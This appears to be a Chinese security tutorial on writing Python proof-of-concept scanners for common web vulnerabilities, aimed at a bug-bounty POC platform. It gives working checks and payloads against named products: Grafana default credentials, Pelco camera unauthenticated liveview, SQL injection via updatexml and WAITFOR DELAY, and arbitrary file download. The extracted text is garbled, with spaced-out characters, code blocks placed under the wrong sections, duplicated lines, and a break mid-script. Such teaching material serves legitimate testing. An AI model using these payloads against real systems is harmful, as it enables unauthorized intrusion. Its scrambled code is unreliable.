搜索

[20392] 2020-12-03_白嫖大法编写POC之腰缠万贯

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-12-03_白嫖大法编写POC之腰缠万贯 白 嫖 大 法   |   编 写 P O C 之 腰 缠 万 贯 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 0 3 以 下 文 章 来 源 于 观 星   ， 作 者 天 微 星 & 土 星 一 、 前 言 ： 一 、 前 言 ： P O C & E X P 什 么 是 什 么 是 P O C ： 即 P r o o f   o f   C o n c e p t ， 是 业 界 流 行 的 针 对 客 户 具 体 应 用 的 验 证 性 测 试 ， 根 据 用 户 对 采 用 系 统 提 出 的 性 能 要 求 和 扩 展 需 求 的 指 标 ， 在 选 用 服 务 器 上 进 行 真 实 数 据 的 运 行 ， 对 承 载 用 户 数 据 量 和 运 行 时 间 进 行 实 际 测 算 ， 并 根 据 用 户 未 来 业 务 扩 展 的 需 求 加 大 数 据 量 以 验 证 系 统 和 平 台 的 承 载 能 力 和 性 能 变 化 。 在 信 息 安 全 里 ， P O C 为 漏 洞 验 证 程 序 ， 功 能 为 检 测 漏 洞 是 否 存 在 。 p o c 和 e x p ( 全 称 E x p l o i t ) 的 区 别 就 是 ， p o c 是 漏 洞 验 证 程 序 ， e x p 是 漏 洞 利 用 程 序 。 针 对 通 用 型 应 用 漏 洞 通 用 型 应 用 漏 洞 编 写 p o c ， 可 以 使 漏 洞 测 试 大 大 加 快 速 度 ， 可 以 在 漏 洞 发 现 时 批 量 检 测 资 产 漏 洞 情 况 。 什 么 是 通 用 型 应 用 漏 洞 ？ 什 么 是 通 用 型 应 用 漏 洞 ？ 有 一 定 使 用 量 或 者 说 是 用 户 量 一 定 使 用 量 或 者 说 是 用 户 量 的 第 三 方 框 架 、 软 件 、 应 用 、 系 统 等 对 应 的 漏 洞 ， 拿 w e b 层 应 用 来 说 需 要 满 足 ： 1 、   两 个 站 点 以 上 使 用 了 该 应 用 ， 可 参 考 c n v d （ 国 家 信 息 安 全 漏 洞 共 享 平 台 ） 的 漏 洞 ； 2 、   路 径 固 定 、 参 数 固 定 。 为 什 么 要 编 写 为 什 么 要 编 写 P O C ？ ？ 如 果 仅 是 停 留 在 使 用 别 人 的 渗 透 工 具 上 来 说 ， 对 个 人 自 身 进 步 来 说 ， 单 纯 的 涨 了 姿 势 ， 久 了 可 能 还 会 忘 记 。 编 写 P O C 不 仅 可 以 提 高 对 漏 洞 原 理 的 理 解 ， 一 定 程 度 上 提 高 了 编 程 开 发 能 力 ， 还 可 以 规 范 自 己 的 武 器 库 ， 在 做 渗 透 测 试 项 目 的 时 候 更 加 得 心 应 手 。 为 什 么 要 做 好 为 什 么 要 做 好 P O C 的 质 量 和 数 量 ？ 的 质 量 和 数 量 ？ 一 个 安 全 检 测 工 具 或 者 说 是 一 个 安 全 检 测 产 品 最 重 要 的 是 P O C 插 件 ， 为 其 赋 能 的 P O C 插 件 质 量 和 数 量 决 定 了 它 的 检 测 能 力 。 为 什 么 需 要 漏 洞 、 为 什 么 需 要 漏 洞 、 P O C 平 台 ？ 平 台 ？ 为 网 络 安 全 出 一 份 力 和 众 人 拾 柴 火 焰 高 的 道 理 ： 用 户 社 区 的 力 量 。 P o C + + 平 台 是 数 字 观 星 科 技 有 限 公 司 自 主 开 发 并 运 营 的 P O C 收 录 平 台 ， 旨 在 通 过 凝 聚 全 社 会 的 安 全 技 术 力 量 ， 打 造 覆 盖 面 更 广 、 检 测 能 力 更 强 的 一 流 漏 洞 扫 描 、 验 证 平 台 。 提 交 P O C 到 我 们 的 P O C + + 平 台 可 以 获 取 丰 厚 的 奖 励 ， 积 分 兑 换 京 东 卡 等 。 二 、 关 于 二 、 关 于 P O C 编 写 流 程 编 写 流 程 通 常 编 写 P O C 流 程 ： 1 、 漏 洞 发 现 或 者 说 是 找 漏 洞 2 、 寻 找 线 上 目 标 或 搭 建 漏 洞 环 境 复 现 3 、 理 解 漏 洞 的 触 发 点 、 判 断 是 否 存 在 漏 洞 4 、 编 写 P O C 5 、 P O C 测 试 ， 通 用 漏 洞 ， 找 到 足 够 的 u r l 证 明 这 是 个 通 用 可 用 的 P O C 如 果 写 P O C 是 为 了 提 交 到 观 星 的 P O C + + 平 台 ， 建 议 先 查 重 ， 当 有 人 已 经 提 交 相 关 的 P O C ， 可 以 使 用 星 豆 （ 平 台 积 分 ） 去 兑 换 ， 省 下 的 时 间 可 以 写 其 他 的 P O C 。 三 、 三 、 W E B 常 见 漏 洞 常 见 漏 洞 P O C 类 型 介 绍 类 型 介 绍 1 、 敏 感 信 息 泄 露 、 敏 感 信 息 泄 露 配 置 信 息 泄 露 、 日 志 泄 露 、 路 径 泄 露 等 。 你 觉 得 它 是 漏 洞 ， 可 能 会 漏 洞 触 发 关 联 到 危 害 ， 那 就 是 漏 洞 。 你 觉 得 它 是 漏 洞 ， 可 能 会 漏 洞 触 发 关 联 到 危 害 ， 那 就 是 漏 洞 。 2 、 未 授 权 访 问 、 未 授 权 访 问 按 照 理 解 ， 应 该 设 认 证 的 功 能 没 设 置 认 证 。 需 要 安 全 配 置 或 权 限 认 证 的 功 能 、 页 面 存 在 缺 陷 导 致 可 以 直 接 访 问 ， 从 而 引 发 重 要 权 限 可 被 操 作 、 数 据 库 或 网 站 目 录 等 敏 感 信 息 泄 露 。 3 、 默 认 密 码 、 默 认 密 码 顾 名 思 义 ， 常 见 的 路 由 器 、 摄 像 头 等 设 备 或 应 用 的 默 认 密 码 ， 以 账 号 密 码 a d m i n / a d m i n 为 经 典 。 观 星 观 星   . 本 公 众 号 提 供 观 星 资 讯 、 二 十 四 节 气 观 星 贴 、 观 星 译 、 安 全 热 点 等 内 容 的 推 送 。
4 、 、 S Q L 注 入 注 入 S Q L 注 入 是 比 较 常 见 的 网 络 攻 击 方 式 之 一 ， s q l 语 句 注 入 ， 可 以 说 是 研 究 得 最 多 最 深 的 漏 洞 。 攻 击 者 提 交 的 恶 意 数 据 可 以 被 数 据 库 解 析 执 行 ， 常 见 数 据 库 有 m y s q l 、 m s s q l 、 o r a c l e 、 a c c e s s 、 p o s t g r e s q l 、 s q l i t e 等 ， 各 有 差 异 。 按 照 回 显 效 果 分 ： 有 回 显 ： 联 合 注 入 和 报 错 注 入 。 无 回 显 ： 时 间 盲 注 、 布 尔 盲 注 。 联 合 注 入 ： 联 合 注 入 ： 利 用 显 示 位 ， 注 入 爆 出 想 要 的 数 据 。 报 错 注 入 ： 报 错 注 入 ： 报 错 注 入 是 利 用 数 据 库 在 出 错 的 时 候 会 引 出 查 询 信 息 。 时 间 盲 注 时 间 盲 注 ： 注 入 不 同 的 延 时 语 句 ， 再 通 过 页 面 响 应 时 间 判 断 是 否 存 在 注 入 。 布 尔 盲 注 ： 布 尔 盲 注 ： 注 入 使 数 据 库 得 到 t r u e 和 f a l s e 的 场 景 ， 比 如 判 断 某 个 数 据 表 是 否 存 在 s q l 注 入 的 两 个 p a y l o a d ， 页 面 的 响 应 不 同 判 断 注 入 存 在 。 5 、 、 X S S X S S （ C r o s s   S i t e   S c r i p t i n g ， 跨 站 脚 本 攻 击 ） 分 三 种 类 型 ： 1 ） 反 射 型 ： 攻 击 者 准 备 攻 击 链 接 ,   需 要 受 害 者 访 问 链 接 触 发 X S S 代 码 ， 一 般 容 易 出 现 在 搜 索 页 面 。 2 ） 存 储 型 ： X S S 代 码 存 在 服 务 器 中 的 ， 如 在 发 表 文 章 的 时 候 插 入 p a y l o a d ， 如 果 没 有 过 滤 或 过 滤 不 严 p a y l o a d 存 储 在 服 务 器 中 ， 当 有 用 户 访 问 插 入 p a y l o a d 的 文 章 链 接 之 后 触 发 X S S 代 码 执 行 。 3 ） D o m 型 ： 基 于 D o m ( D o c u m e n t O b j e e t   M o d e l 基 于 文 档 对 象 模 型 ) 的 漏 洞 ， D O M 中 有 很 多 对 象 ， 其 中 一 些 是 用 户 可 以 操 纵 的 ， 如 l o c a t i o n 等 。 客 户 端 的 脚 本 不 依 赖 于 提 交 数 据 到 服 务 器 端 ， 如 果 没 有 将 D O M 中 传 入 的 数 据 做 严 格 的 过 滤 ， 将 其 限 制 在 可 控 范 围 内 ， 就 会 产 生 D O M   X S S 。 6 、 目 录 穿 越 、 文 件 下 载 、 文 件 包 含 、 目 录 穿 越 、 文 件 下 载 、 文 件 包 含 目 录 穿 越 ： 目 录 穿 越 ： 目 录 穿 越 是 未 设 置 访 问 边 界 ， 用 户 可 以 越 界 访 问 到 不 该 提 供 文 件 ， 会 造 成 任 意 文 件 读 取 漏 洞 。 文 件 下 载 ： 文 件 下 载 ： 网 站 提 供 了 文 件 ( 附 件 ) 下 载 功 能 ， 如 果 对 下 载 的 文 件 没 有 做 限 制 ， 恶 意 利 用 这 种 方 式 下 载 服 务 器 的 敏 感 文 件 ， 如 c o n f i g . p r o r e r t i e 敏 感 文 件 等 。 文 件 包 含 ： 文 件 包 含 ： 为 了 使 用 代 码 的 重 用 性 ， 通 过 文 件 包 含 函 数 将 代 码 文 件 包 含 进 来 ， 从 而 使 用 里 面 的 代 码 ， 文 件 包 含 在 p h p 开 发 中 很 常 见 。 当 文 件 包 含 函 数 的 文 件 参 数 可 控 时 ， 文 件 参 数 又 未 进 行 校 验 或 者 校 验 被 绕 过 ， 就 会 产 生 文 件 包 含 漏 洞 ， 导 致 读 取 文 件 、 代 码 执 行 等 。 7 、 文 件 上 传 、 文 件 上 传 w e b 项 目 通 常 提 供 了 文 件 上 传 的 功 能 ， 当 上 传 功 能 没 有 限 制 校 验 或 者 限 制 被 绕 过 时 ， 攻 击 者 上 传 了 恶 意 脚 本 且 恶 意 脚 本 被 w e b 服 务 器 解 析 成 脚 本 文 件 执 行 脚 本 内 容 ， 就 会 导 致 代 码 执 行 。 8 . 远 程 代 码 、 命 令 执 行 远 程 代 码 、 命 令 执 行 远 程 代 码 执 行 ： 远 程 代 码 执 行 ： 拿 功 能 可 能 出 现 的 漏 洞 来 说 。 当 有 了 方 便 传 输 、 提 高 性 能 等 需 求 ， w e b 项 目 中 就 可 能 会 用 到 序 列 化 。 序 列 化 是 将 对 象 的 状 态 信 息 转 换 为 可 以 存 储 或 传 输 的 形 式 的 过 程 ， 反 序 列 化 为 相 反 过 程 。 当 不 可 信 数 据 做 了 反 序 列 化 处 理 ， 那 么 攻 击 者 可 以 通 过 构 造 恶 意 输 入 ， 让 反 序 列 化 产 生 非 预 期 的 对 象 ， 非 预 期 的 对 象 在 产 生 过 程 中 就 有 可 能 导 致 任 意 代 码 执 行 。 为 了 方 便 开 发 ， 项 目 使 用 的 一 些 组 件 可 能 会 支 持 一 些 表 达 式 ， 当 安 全 策 略 被 绕 过 时 ， 攻 击 者 就 可 以 通 过 构 造 特 定 数 据 带 入 表 达 式 造 成 远 程 代 码 执 行 。 功 能 强 大 的 背 后 可 能 出 现 的 漏 洞 就 越 多 ， 需 要 做 的 安 全 措 施 就 越 多 。 远 程 命 令 执 行 ： 远 程 命 令 执 行 ： 常 见 的 w e b 应 用 调 用 服 务 器 程 序 ， 当 参 数 被 直 接 带 入 程 序 执 行 命 令 或 过 滤 被 绕 过 时 ， 就 可 能 会 出 现 命 令 注 入 漏 洞 ， 导 致 远 程 命 令 执 行 。 如 支 持 p i n g 功 能 的 w e b 程 序 参 数 I P ， 使 用 管 道 符 | 进 行 拼 接 恶 意 命 令 ， 就 可 能 导 致 远 程 命 令 执 行 。 9 . U R L 跳 转 跳 转 比 如 一 些 场 景 为 登 录 之 后 跳 转 到 个 人 中 心 ， 跳 转 的 u r l 可 控 或 者 过 滤 被 绕 过 ， 就 会 导 致 任 意 U R L 链 接 跳 转 。 以 上 仅 列 举 常 见 漏 洞 ， P O C + + 平 台 接 收 包 含 但 不 限 于 以 上 漏 洞 的 P O C 。 四 、 常 见 漏 洞 四 、 常 见 漏 洞 P O C 类 型 编 写 类 型 编 写 按 照 如 上 漏 洞 类 型 ， 通 过 案 例 了 解 漏 洞 ， 并 使 用 p y t h o n 编 写 p o c 。 所 以 该 章 节 学 习 前 提 该 章 节 学 习 前 提 ： 可 以 看 懂 p y t h o n 基 础 语 法 ， 看 不 懂 的 童 鞋 建 议 学 习 一 下 p y t h o n 基 础 语 法 ， 进 一 步 有 进 一 步 的 快 乐 呀 。 p y t h o n 2 和 p y t h o n 3 如 何 选 择 ？ 基 础 语 法 ， 学 习 哪 个 版 本 不 重 要 ， 都 行 。 个 人 推 荐 菜 鸟 教 程 的 p y t h o n 教 程 ， 链 接 ： h t t p s : / / w w w . r u n o o b . c o m / p y t h o n / p y t h o n - t u t o r i a l . h t m l 。 1 、 敏 感 信 息 泄 露 、 敏 感 信 息 泄 露 漏 洞 案 例 ： 漏 洞 案 例 ： 在 2 0 1 9 年 出 现 的 C o r e m a i l 邮 件 系 统 配 置 文 件 信 息 泄 露 漏 洞 ， C o r e m a i l   m a i l s m s 接 口 配 置 存 在 未 授 权 访 问 导 致 敏 感 信 息 泄 露 。 漏 洞 的 配 置 文 件 泄 露 地 址 是 / m a i l s m s / s ? f u n c = A D M I N : a p p S t a t e & d u m p C o n f i g = / 。 我 们 可 以 打 开 一 个 存 在 漏 洞 的 链 接 ：
我 们 可 以 发 现 漏 洞 确 实 存 在 ， / m a i l s m s / s ? f u n c = A D M I N : a p p S t a t e & d u m p C o n f i g = / 页 面 存 在 c o r e m a i l 关 键 字 作 为 应 用 指 纹 ， 配 置 信 息 也 直 接 显 示 泄 露 了 ， 现 在 我 们 可 以 开 始 编 写 这 个 漏 洞 的 P O C 了 。 关 于 指 纹 信 息 学 习 编 写 可 以 查 看 以 往 文 章 介 绍 ， 欢 迎 将 指 纹 信 息 提 交 至 我 们 平 台 获 取 丰 厚 奖 励 ， 链 接 ： h t t p s : / / f p . s h u z i g u a n x i n g . c o m / 。 写 P O C 之 前 我 们 先 确 认 这 是 个 通 用 漏 洞 通 用 漏 洞 ， 且 P O C 的 原 则 是 以 最 少 请 求 最 少 请 求 、 最 准 确 确 认 当 前 应 用 最 准 确 确 认 当 前 应 用 存 在 漏 洞 （ 少 请 求 、 低 误 报 漏 报 ） 。 所 以 我 们 的 P O C 可 以 用 p y t h o n 2 编 写 为 ：   2 、 未 授 权 访 问 、 未 授 权 访 问 漏 洞 案 例 ： 漏 洞 案 例 ： 互 联 网 上 存 在 很 多 暴 露 在 公 网 上 的 摄 像 头 等 安 防 设 备 ， 且 未 设 置 认 证 ， 导 致 可 以 实 时 查 看 监 控 等 操 作 。 作 为 安 防 设 备 不 安 全 ， 本 身 就 是 一 种 讽 刺 笑 话 。 这 里 我 们 使 用 空 间 搜 索 引 擎 搜 索 找 一 款 派 尔 高   S a r i x 网 络 摄 像 头 。
  访 问 / l i v e v i e w 即 可 查 看 摄 像 头 实 时 监 控 ， 且 查 看 源 码 C o p y r i g h t 内 容 部 分 可 以 作 为 指 纹 信 息 。   所 以 判 断 是 否 存 在 漏 洞 可 以 写 成 ： 请 求 状 态 码 2 0 0 & C o p y r i g h t   & c o p y ;   2 0 0 7 - 2 0 1 0 ,   P E L C O & m i d d o t ;   < a   h r e f = " h t t p : / / w w w . p e l c o . c o m " > P e l c o . c o m 。 但 是 在 测 试 P O C 的 时 候 发 现 有 些 跳 转 到 登 录 界 面 也 会 满 足 这 个 条 件 ， 页 面 里 面 有 执 行 j s 页 面 跳 转 代 码 w i n d o w . l o c a t i o n . r e p l a c e ( " / a u t h / l o g i n " ， 所 以 还 要 加 跳 转 代 码 未 在 页 面 里 。 P O C 可 以 写 为 ： #   c o d i n g : u t f - 8 i m p o r t   r e i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         a c t i o n   =   " / l i v e v i e w "         t a r g e t   =   t a r g e t . r s t r i p ( " / " )         v e r f y _ u r l   =   t a r g e t   +   a c t i o n # 有 时 候 路 由 U R L 会 出 现 / / l i v e v i e w 访 问 不 到 资 源 4 0 4 ， 所 以 要 确 保 访 问 到 h t t p : / / x x x x / l i v e v i e w
3 、 默 认 密 码 、 默 认 密 码 漏 洞 案 例 ： 漏 洞 案 例 ： 这 里 我 们 找 G r a f a n a 可 视 化 工 具 后 台 管 理 默 认 账 号 密 码 ， 实 际 测 试 g r a f a n a 默 认 用 户 名 密 码 为 经 典 的 a d m i n / a d m i n 。 找 一 个 实 例 测 试 ， 登 录 之 后 ， 点 击 " S k i p " 就 可 以 进 入 后 台 。 浏 览 器 f 1 2 查 看 请 求 包 发 现 是 将 账 号 密 码 的 p a y l o a d { " u s e r " : " a d m i n " , " p a s s w o r d " : " a d m i n " } 通 过 p o s t 方 式 到 U R L ： / l o g i n ， 成 功 之 后 会 返 回 { " m e s s a g e " : " L o g g e d i n " , " r e d i r e c t U r l " : " / " } ， 而 且 会 设 置 c o o k i e ， 也 就 是 响 应 头 的 S e t - C o o k i e ， 经 过 观 察 S e t - C o o k i e 里 的 必 要 字 段 为 g r a f a n a _ s e s s i o n 或 者 为 g r a f a n a _ s e s s ， 这 个 可 以 作 为 应 用 指 纹 ， 也 可 以 作 为 登 录 成 功 的 判 断 。 所 以 我 们 的 P O C 可 以 为 ：         v e r f y _ u r l   =   t a r g e t   +   a c t i o n # 有 时 候 路 由 U R L 会 出 现 / / l i v e v i e w 访 问 不 到 资 源 4 0 4 ， 所 以 要 确 保 访 问 到 h t t p : / / x x x x / l i v e v i e w         p a t t e r n   =   r e . c o m p i l e ( ' C o p y r i g h t . + P E L C O . + < a   h r e f = " h t t p : / / w w w . p e l c o . c o m ' )         r e s p   =   r e q . g e t ( v e r f y _ u r l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         f l a g   =   p a t t e r n . f i n d a l l ( r e s p . t e x t )         i f   r e s p . s t a t u s _ c o d e   = =   2 0 0   a n d   f l a g   a n d   ' w i n d o w . l o c a t i o n . r e p l a c e ( " / a u t h / l o g i n " ) ; '   n o t   i n   r e s p . t e x t :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " ) #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,                 " A c c e p t " :   " a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 " ,                 " C o n t e n t - T y p e " :   " a p p l i c a t i o n / j s o n "         }         a c t i o n   =   " / l o g i n "         p a y l o a d   =   ' { " u s e r " : " a d m i n " , " p a s s w o r d " : " a d m i n " } '         t a r g e t   =   t a r g e t . r s t r i p ( " / " )         v e r f y _ u r l   =   t a r g e t   +   a c t i o n         r e s p   =   r e q . p o s t ( v e r f y _ u r l ,   d a t a = p a y l o a d ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   ( r e s p . s t a t u s _ c o d e   = =   2 0 0   a n d   " g r a f a n a _ s e s s i o n "   i n   r e s p . h e a d e r s [ " S e t - C o o k i e " ] )   o r   (                         r e s p . s t a t u s _ c o d e   = =   2 0 0   a n d   " g r a f a n a _ s e s s "   i n   r e s p . h e a d e r s [ " S e t - C o o k i e " ] ) :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " )
4 、 、 S Q L 注 入 注 入 漏 洞 案 例 ： 漏 洞 案 例 ： 这 里 我 们 通 过 注 入 s q l 语 句 效 果 有 没 有 直 接 回 显 数 据 和 不 回 显 数 据 案 例 编 写 p o c 。 （ 1 ） 回 显 ： 有 显 示 位 的 时 候 可 以 使 用 联 合 注 入 注 出 数 据 ， 如 果 报 错 信 息 功 能 未 关 可 以 使 用 报 错 注 入 注 出 数 据 。 以 S t r a s s e n 2 4 P a n o m i z e r   O b j e c t s . p h p 参 数 T y p e C a t e g o r y I d 存 在 S Q L 注 入 为 示 例 。 漏 洞 详 情 链 接 ： h t t p s : / / c x s e c u r i t y . c o m / i s s u e / W L B - 2 0 2 0 0 3 0 1 4 2 直 接 使 用 漏 洞 详 情 提 供 的 测 试 u r l 测 试 。 漏 洞 链 接 为 / p h p / O b j e c t s . p h p ? A c t i o n = C h a n g e C a t e g o r y & T y p e C a t e g o r y I d = 1 ， 这 里 通 过 u p d a t e x m l 函 数 报 错 注 入 注 出 数 据 ， 执 行 一 个 m d 5 加 密 就 好 ， p a y l o a d ： / p h p / O b j e c t s . p h p ? A c t i o n = C h a n g e C a t e g o r y & T y p e C a t e g o r y I d = 1 % 2 0 a n d % 2 0 u p d a t e x m l ( 1 , m d 5 ( 9 9 6 ) , 1 ) % 2 0 - - + ： 响 应 没 有 特 定 指 纹 ， 一 次 请 求 ， 响 应 足 够 特 殊 所 以 不 再 请 求 匹 配 指 纹 。 执 行 m d 5 加 密 数 据 时 ， 可 以 加 上 随 机 字 符 串 加 密 ， 然 后 再 判 断 m d 5 是 否 在 响 应 内 容 ， 这 个 可 以 自 己 加 。 所 以 我 们 的 p o c 可 以 为 ： （ 2 ） 不 回 显 ： 注 意 ： 延 时 注 入 要 产 品 特 征 匹 配 降 低 误 报 率 注 意 ： 延 时 注 入 要 产 品 特 征 匹 配 降 低 误 报 率 S Q L 注 入 有 时 候 没 有 直 接 回 显 数 据 ， 但 是 可 以 注 入 ， 在 编 写 p o c 可 以 使 用 延 时 判 断 是 否 存 在 s q l 注 入 漏 洞 ， 以 风 讯 ( f o o s u n ) C M S . n e t 版 本 / u s e r / C i t y _ a j a x . a s p x   文 件 C i t y i d   参 数 S Q L 注 入 漏 洞 为 示 例 。 经 测 试 该 注 入 点 支 持 堆 叠 注 入 ， 所 以 延 时 5 秒 的 p a y l o a d 为 / u s e r / C i t y _ a j a x . a s p x ? C i t y i d = 1 ' W A I T F O R   D E L A Y   ' 0 : 0 : 5 ' - -   q ， 直 接 在 互 联 网 上 找 到 一 个 实 例 测 试 ： #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         p a y l o a d = " / p h p / O b j e c t s . p h p ? A c t i o n = C h a n g e C a t e g o r y & T y p e C a t e g o r y I d = 1 % 2 0 a n d % 2 0 u p d a t e x m l ( 1 , m d 5 ( { } ) , 1 ) % 2 0 - - + " . f o r m a t ( 9 9 6 )         r e s p 1   =   r e q . g e t ( t a r g e t + p a y l o a d ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   " b 8 a f f 0 4 3 8 6 1 7 c 0 5 5 e b 5 5 f 0 b a 5 d 2 2 6 f a "   i n   r e s p 1 . t e x t   a n d   r e s p 1 . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p s : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 " )
响 应 内 容 没 有 明 显 的 指 纹 信 息 ， 在 首 页 有 明 显 的 指 纹 F o r   F o o s u n   I n c ， 所 以 再 请 求 首 页 匹 配 指 纹 。 在 p o c 中 判 断 是 否 存 在 注 入 可 以 通 过 两 个 p a y l o a d 的 时 间 差 判 断 ： 大 于 等 于 4 . 5 秒 。 所 以 我 们 的 P O C 可 以 为 ： 5 、 文 件 读 取 、 文 件 下 载 、 遍 历 、 文 件 包 含 、 文 件 读 取 、 文 件 下 载 、 遍 历 、 文 件 包 含 漏 洞 案 例 ： 漏 洞 案 例 ： 漏 洞 上 验 证 都 差 不 多 ， 取 系 统 的 必 要 文 件 做 证 明 即 可 。 应 用 的 系 统 可 能 大 部 分 为 w i n d o w s 或 者 l i n u x ， 所 以 编 写 P O C 的 时 候 要 考 虑 这 两 个 系 统 ， 其 他 系 统 可 以 自 行 考 虑 是 否 加 入 。 w i n d o w s 可 以 取 c : / w i n d o w s / s y s t e m . i n i ， l i n u x 可 以 取 / e t c / p a s s w d ， 其 他 的 低 权 限 可 读 的 系 统 必 要 文 件 也 可 以 。 以 E V O - C R M   S c r i p t   v 1 . 0 2 任 意 文 件 下 载 漏 洞 为 例 ， 详 情 漏 洞 链 接 ： h t t p s : / / c x s e c u r i t y . c o m / i s s u e / W L B - 2 0 2 0 0 3 0 0 6 6 ， 使 用 漏 洞 详 情 里 的 漏 洞 u r l 测 试 ： #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         r e s p 1   =   r e q . g e t ( t a r g e t ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   " F o r   F o o s u n   I n c "   i n   r e s p 1 . t e x t   a n d   r e s p 1 . s t a t u s _ c o d e   = =   2 0 0 :                 p a y l o a d 1   =   " / u s e r / C i t y _ a j a x . a s p x ? C i t y i d = 1 % 2 7 % 2 0 W A I T F O R % 2 0 D E L A Y % 2 0 % 2 7 0 : 0 : 0 % 2 7 - - % 2 0 q "                 p a y l o a d 2   =   " / u s e r / C i t y _ a j a x . a s p x ? C i t y i d = 1 % 2 7 % 2 0 W A I T F O R % 2 0 D E L A Y % 2 0 % 2 7 0 : 0 : 5 % 2 7 - - % 2 0 q "                 r e s p 2   =   r e q . g e t ( u r l = t a r g e t   +   p a y l o a d 1 ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 3 0 )                 s t i m e 1   =   r e s p 2 . e l a p s e d . t o t a l _ s e c o n d s ( )                 r e s p 3   =   r e q . g e t ( u r l = t a r g e t   +   p a y l o a d 2 ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 3 0 )                 s t i m e 2   =   r e s p 3 . e l a p s e d . t o t a l _ s e c o n d s ( )                 i f   r e s p 1 . s t a t u s _ c o d e   = =   r e s p 2 . s t a t u s _ c o d e   = =   2 0 0   a n d   s t i m e 2   -   s t i m e 1   > =   4 . 5 :                         p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                         r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " )    
漏 洞 u r l 为 / d o w n l o a d . p h p ? n o m e _ f i l e = ， n o m e f i l e 参 数 为 下 载 文 件 参 数 ， ` i n c l u d e / a p p l i c a t i o n t o p . p h p 的 存 在 E V O - C R M 的 指 纹 ， 所 以 可 以 直 接 下 载 这 个 文 件 作 为 证 明 。 这 里 下 载 也 可 以 下 载 系 统 文 件 ， 但 是 可 能 要 多 请 求 一 次 匹 配 指 纹 ， 这 里 优 先 下 载 存 在 指 纹 信 息 的 文 件 i n c l u d e / a p p l i c a t i o n _ t o p . p h p ` ， 所 以 p o c 可 以 为 ： 6 、 文 件 上 传 、 文 件 上 传 漏 洞 案 例 ： 漏 洞 案 例 ： 以 M o n i t o r r   1 . 7 . 6   存 在 文 件 上 传 漏 洞 为 示 例 ， 漏 洞 详 情 h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 4 8 9 8 0 。 漏 洞 详 情 中 可 以 看 到 / a s s e t s / p h p / u p l o a d . p h p 未 授 权 且 过 滤 被 绕 过 ， 可 直 接 上 传 p h p 文 件 执 行 p h p 代 码 。 前 几 天 有 个 小 伙 伴 已 经 写 好 交 到 我 们 的 P O C 平 台 ， 所 以 P O C 可 以 为 ： #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         a c t i o n   =   " / d o w n l o a d . p h p ? n o m e _ f i l e = i n c l u d e / a p p l i c a t i o n _ t o p . p h p "         v e r f y _ u r l   =   t a r g e t   +   a c t i o n         r e s p   =   r e q . g e t ( v e r f y _ u r l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 